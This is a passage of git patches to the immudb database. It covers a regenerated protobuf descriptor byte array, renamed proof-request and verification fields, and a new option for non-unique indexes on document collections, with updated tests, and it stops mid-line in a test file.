0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, - 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, - 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, - 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, - 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, - 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, - 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, - 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, - 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, - 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, - 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, - 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, + 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, + 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, + 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, + 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, + 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, + 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, + 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, + 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, + 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, + 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, + 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, + 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, + 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, + 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, + 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, + 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 650e065a8f..cd3abb852f 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -108,7 +108,7 @@ message DocumentProofRequest { string collection = 1; string documentId = 2; uint64 transactionId = 3; - uint64 lastValidatedTransactionId = 4; + uint64 proofSinceTransactionId = 4; } message DocumentProofResponse { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index c6cb429949..1a679764cc 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -504,7 +504,7 @@ "type": "string", "format": "uint64" }, - "lastValidatedTransactionId": { + "proofSinceTransactionId": { "type": "string", "format": "uint64" } diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index e4145134c0..1289069678 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -288,16 +288,16 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque var sourceHdr, targetHdr *store.TxHeader - if req.LastValidatedTransactionId == 0 { - req.LastValidatedTransactionId = 1 + if req.ProofSinceTransactionId == 0 { + req.ProofSinceTransactionId = 1 } - lastValidatedHdr, err := d.st.ReadTxHeader(req.LastValidatedTransactionId, false, false) + lastValidatedHdr, err := d.st.ReadTxHeader(req.ProofSinceTransactionId, false, false) if err != nil { return nil, err } - if tx.Header().ID < req.LastValidatedTransactionId { + if tx.Header().ID < req.ProofSinceTransactionId { sourceHdr = tx.Header() targetHdr = lastValidatedHdr } else { From 03bde8d0c97609685efe113baf66c761b8206dc2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 14 Apr 2023 09:35:13 -0300 Subject: [PATCH 0430/1062] chore(pkg/verification): minor renaming Signed-off-by: Jeronimo Irazabal --- pkg/verification/verification.go | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index 04637f5f37..9f15ae7b11 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -35,7 +35,7 @@ import ( func VerifyDocument(ctx context.Context, proof *schemav2.DocumentProofResponse, doc *structpb.Struct, - lastValidatedState *schema.ImmutableState, + knownState *schema.ImmutableState, serverSigningPubKey *ecdsa.PublicKey, ) (*schema.ImmutableState, error) { @@ -160,21 +160,21 @@ func VerifyDocument(ctx context.Context, return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) } - if lastValidatedState == nil || lastValidatedState.TxId == 0 { + if knownState == nil || knownState.TxId == 0 { if sourceID != 1 { return nil, fmt.Errorf("%w: proof should start from the first transaction when no previous state was specified", store.ErrInvalidProof) } } else { - if lastValidatedState.TxId == sourceID { - if !bytes.Equal(lastValidatedState.TxHash, sourceAlh[:]) { - return nil, fmt.Errorf("%w: lastValidatedTransactionAlh must match source or target tx alh", store.ErrInvalidProof) + if knownState.TxId == sourceID { + if !bytes.Equal(knownState.TxHash, sourceAlh[:]) { + return nil, fmt.Errorf("%w: knownState alh must match source or target tx alh", store.ErrInvalidProof) } - } else if lastValidatedState.TxId == targetID { - if !bytes.Equal(lastValidatedState.TxHash, targetAlh[:]) { - return nil, fmt.Errorf("%w: lastValidatedTransactionAlh must match source or target tx alh", store.ErrInvalidProof) + } else if knownState.TxId == targetID { + if !bytes.Equal(knownState.TxHash, targetAlh[:]) { + return nil, fmt.Errorf("%w: knownState alh must match source or target tx alh", store.ErrInvalidProof) } } else { - return nil, fmt.Errorf("%w: lastValidatedTransactionAlh must match source or target tx alh", store.ErrInvalidProof) + return nil, fmt.Errorf("%w: knownState alh must match source or target tx alh", store.ErrInvalidProof) } } From 1e988ef3f686b1d4a46dd799bf9a325f207a1131 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 17 Apr 2023 15:51:26 +0530 Subject: [PATCH 0431/1062] chore: add option for non unique indexes on collection --- embedded/document/engine.go | 45 ++++++++++--------- embedded/document/engine_test.go | 72 +++++++++++++++---------------- embedded/sql/stmt.go | 4 +- pkg/database/document_database.go | 14 ++++-- 4 files changed, 70 insertions(+), 65 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index bfb7e174f3..f044b6defb 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -106,6 +106,11 @@ type Query struct { Value *structpb.Value } +type IndexOption struct { + Type sql.SQLValueType + IsUnique bool +} + func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { engine, err := sql.NewEngine(store, opts) if err != nil { @@ -119,10 +124,10 @@ type Engine struct { sqlEngine *sql.Engine } -func (e *Engine) CreateCollection(ctx context.Context, collectionName string, idxKeys map[string]sql.SQLValueType) error { +func (e *Engine) CreateCollection(ctx context.Context, collectionName string, idxKeys map[string]*IndexOption) error { primaryKeys := []string{DocumentIDField} - indexKeys := make([]string, 0) columns := make([]*sql.ColSpec, 0) + idxStmts := make([]sql.SQLStmt, 0) // add primary key for document id columns = append(columns, sql.NewColSpec(DocumentIDField, sql.BLOBType, MaxDocumentIDLength, false, true)) @@ -131,13 +136,13 @@ func (e *Engine) CreateCollection(ctx context.Context, collectionName string, id columns = append(columns, sql.NewColSpec(DocumentBLOBField, sql.BLOBType, 0, false, false)) // add index keys - for name, schType := range idxKeys { - indexKeys = append(indexKeys, name) - colLen, err := valueTypeDefaultLength(schType) + for name, idx := range idxKeys { + colLen, err := valueTypeDefaultLength(idx.Type) if err != nil { - return fmt.Errorf("index key specified is not supported: %v", schType) + return fmt.Errorf("index key specified is not supported: %v", idx.Type) } - columns = append(columns, sql.NewColSpec(name, schType, colLen, false, false)) + columns = append(columns, sql.NewColSpec(name, idx.Type, colLen, false, false)) + idxStmts = append(idxStmts, sql.NewCreateIndexStmt(collectionName, []string{name}, idx.IsUnique)) } tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExplicitClose(true)) @@ -162,16 +167,12 @@ func (e *Engine) CreateCollection(ctx context.Context, collectionName string, id return err } - if len(indexKeys) > 0 { - sqlStmts := make([]sql.SQLStmt, 0) - // add indexes to collection - for _, idx := range indexKeys { - sqlStmts = append(sqlStmts, sql.NewCreateIndexStmt(collectionName, []string{idx})) - } + // add indexes to collection + if len(idxStmts) > 0 { _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, tx, - sqlStmts, + idxStmts, nil, ) if err != nil { @@ -226,8 +227,7 @@ func (e *Engine) GetCollection(ctx context.Context, collectionName string) ([]*s return indexes, nil } -func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, addIdxKeys map[string]sql.SQLValueType, removeIdxKeys []string) error { - indexKeys := make([]string, 0) +func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, addIdxKeys map[string]*IndexOption, removeIdxKeys []string) error { updateCollectionStmts := make([]sql.SQLStmt, 0) sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExplicitClose(true)) @@ -238,19 +238,18 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, ad if len(addIdxKeys) > 0 { // add index keys - for name, schType := range addIdxKeys { - indexKeys = append(indexKeys, name) - colLen, err := valueTypeDefaultLength(schType) + for name, idx := range addIdxKeys { + colLen, err := valueTypeDefaultLength(idx.Type) if err != nil { - return fmt.Errorf("index key specified is not supported: %v", schType) + return fmt.Errorf("index key specified is not supported: %v", idx.Type) } // add indexes as new columns to collection - updateCollectionStmts = append(updateCollectionStmts, sql.NewAddColumnStmt(collectionName, sql.NewColSpec(name, schType, colLen, false, false))) + updateCollectionStmts = append(updateCollectionStmts, sql.NewAddColumnStmt(collectionName, sql.NewColSpec(name, idx.Type, colLen, false, false))) } // add indexes to collection - for _, idx := range indexKeys { - updateCollectionStmts = append(updateCollectionStmts, sql.NewCreateIndexStmt(collectionName, []string{idx})) + for name, idx := range addIdxKeys { + updateCollectionStmts = append(updateCollectionStmts, sql.NewCreateIndexStmt(collectionName, []string{name}, idx.IsUnique)) } _, _, err := e.sqlEngine.ExecPreparedStmts( diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 462df11fd4..57b199bd62 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -52,11 +52,11 @@ func TestListCollections(t *testing.T) { err := engine.CreateCollection( context.Background(), collectionName, - map[string]sql.SQLValueType{ - "number": sql.IntegerType, - "name": sql.BLOBType, - "pin": sql.IntegerType, - "country": sql.VarcharType, + map[string]*IndexOption{ + "number": {Type: sql.IntegerType}, + "name": {Type: sql.BLOBType}, + "pin": {Type: sql.IntegerType}, + "country": {Type: sql.VarcharType}, }, ) require.NoError(t, err) @@ -89,11 +89,11 @@ func TestCreateCollection(t *testing.T) { err := engine.CreateCollection( context.Background(), collectionName, - map[string]sql.SQLValueType{ - "number": sql.Float64Type, - "name": sql.VarcharType, - "pin": sql.IntegerType, - "country": sql.VarcharType, + map[string]*IndexOption{ + "number": {Type: sql.Float64Type}, + "name": {Type: sql.VarcharType}, + "pin": {Type: sql.IntegerType}, + "country": {Type: sql.VarcharType}, }, ) require.NoError(t, err) @@ -155,10 +155,10 @@ func TestGetDocument(t *testing.T) { // create collection collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ - "pincode": sql.IntegerType, - "country": sql.VarcharType, - "data": sql.BLOBType, + err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ + "pincode": {Type: sql.IntegerType}, + "country": {Type: sql.VarcharType}, + "data": {Type: sql.BLOBType}, }) require.NoError(t, err) require.NoError(t, err) @@ -218,9 +218,9 @@ func TestDocumentAudit(t *testing.T) { // create collection collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ - "pincode": sql.IntegerType, - "country": sql.VarcharType, + err := 